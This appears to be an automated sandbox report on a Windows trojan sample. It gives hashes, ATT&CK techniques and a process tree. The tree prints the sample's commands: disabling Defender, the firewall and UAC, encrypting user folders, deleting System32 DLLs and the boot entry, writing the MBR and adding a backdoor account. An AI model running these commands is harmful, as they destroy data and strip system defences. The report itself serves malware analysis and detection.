90f93c010845331076853a97a886c913d0c12ca58126ad4f47df51f30a2e4247

Analysis

max time kernel
1s
max time network
0s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08/11/2024, 16:04

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General

Target
Trojan.GuestVirus.exe
Size 249KB
Sample241108-th3rcavglj
SHA256 90f93c010845331076853a97a886c913d0c12ca58126ad4f47df51f30a2e4247
MD5 78f4a0bf883ad653ae33050581bec267
SHA1 da91940351de8bb218d1976bc72535522ff15d40
SHA512 e14d497344bfb40bd07a38d78721dbd956ef7ac1c0ddbe466566a759438d00afc6f916555522394180d61b2df29aee17539d931c55667fb8e467c74c0d223bfe
SSDEEP 3072:vUU6sXBcnCr8kg7TWGtfe8jy/O1qPZg6QAaC87rUxUuiWFExYgPFb:IsXikGltm8WIZEGuNEFb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

bootkit defense_evasion evasion persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2764	netsh.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
2844	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Trojan.GuestVirus.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2676	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2264	Trojan.GuestVirus.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1328	efsui.exe
1328	efsui.exe
1328	efsui.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1328	efsui.exe
1328	efsui.exe
1328	efsui.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2264 wrote to memory of 2696	2264	Trojan.GuestVirus.exe	31
PID 2264 wrote to memory of 2696	2264	Trojan.GuestVirus.exe	31
PID 2264 wrote to memory of 2696	2264	Trojan.GuestVirus.exe	31
PID 2696 wrote to memory of 2744	2696	cmd.exe	32
PID 2696 wrote to memory of 2744	2696	cmd.exe	32
PID 2696 wrote to memory of 2744	2696	cmd.exe	32
PID 2264 wrote to memory of 2760	2264	Trojan.GuestVirus.exe	33
PID 2264 wrote to memory of 2760	2264	Trojan.GuestVirus.exe	33
PID 2264 wrote to memory of 2760	2264	Trojan.GuestVirus.exe	33
PID 2760 wrote to memory of 2764	2760	cmd.exe	34
PID 2760 wrote to memory of 2764	2760	cmd.exe	34
PID 2760 wrote to memory of 2764	2760	cmd.exe	34
PID 2264 wrote to memory of 2708	2264	Trojan.GuestVirus.exe	35
PID 2264 wrote to memory of 2708	2264	Trojan.GuestVirus.exe	35
PID 2264 wrote to memory of 2708	2264	Trojan.GuestVirus.exe	35
PID 2708 wrote to memory of 2676	2708	cmd.exe	36
PID 2708 wrote to memory of 2676	2708	cmd.exe	36
PID 2708 wrote to memory of 2676	2708	cmd.exe	36
PID 2264 wrote to memory of 2732	2264	Trojan.GuestVirus.exe	37
PID 2264 wrote to memory of 2732	2264	Trojan.GuestVirus.exe	37
PID 2264 wrote to memory of 2732	2264	Trojan.GuestVirus.exe	37
PID 2264 wrote to memory of 2560	2264	Trojan.GuestVirus.exe	39
PID 2264 wrote to memory of 2560	2264	Trojan.GuestVirus.exe	39
PID 2264 wrote to memory of 2560	2264	Trojan.GuestVirus.exe	39
PID 2264 wrote to memory of 2972	2264	Trojan.GuestVirus.exe	38
PID 2264 wrote to memory of 2972	2264	Trojan.GuestVirus.exe	38
PID 2264 wrote to memory of 2972	2264	Trojan.GuestVirus.exe	38
PID 2264 wrote to memory of 2800	2264	Trojan.GuestVirus.exe	40
PID 2264 wrote to memory of 2800	2264	Trojan.GuestVirus.exe	40
PID 2264 wrote to memory of 2800	2264	Trojan.GuestVirus.exe	40
PID 2732 wrote to memory of 2804	2732	cmd.exe	41
PID 2732 wrote to memory of 2804	2732	cmd.exe	41
PID 2732 wrote to memory of 2804	2732	cmd.exe	41
PID 2560 wrote to memory of 2844	2560	cmd.exe	42
PID 2560 wrote to memory of 2844	2560	cmd.exe	42
PID 2560 wrote to memory of 2844	2560	cmd.exe	42
PID 2800 wrote to memory of 2588	2800	cmd.exe	43
PID 2800 wrote to memory of 2588	2800	cmd.exe	43
PID 2800 wrote to memory of 2588	2800	cmd.exe	43
PID 2588 wrote to memory of 2768	2588	net.exe	44
PID 2588 wrote to memory of 2768	2588	net.exe	44
PID 2588 wrote to memory of 2768	2588	net.exe	44

C:\Users\Admin\AppData\Local\Temp\Trojan.GuestVirus.exe
"C:\Users\Admin\AppData\Local\Temp\Trojan.GuestVirus.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:2676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cipher /E /A /S:C:\Users
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\cipher.exe
    cipher /E /A /S:C:\Users
    3⤵
    PID:2804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\Windows\System32\*.dll
  2⤵
  PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user TrojanUser0 ComplexPass123! /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\net.exe
    net user TrojanUser0 ComplexPass123! /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user TrojanUser0 ComplexPass123! /add
      4⤵
      PID:2768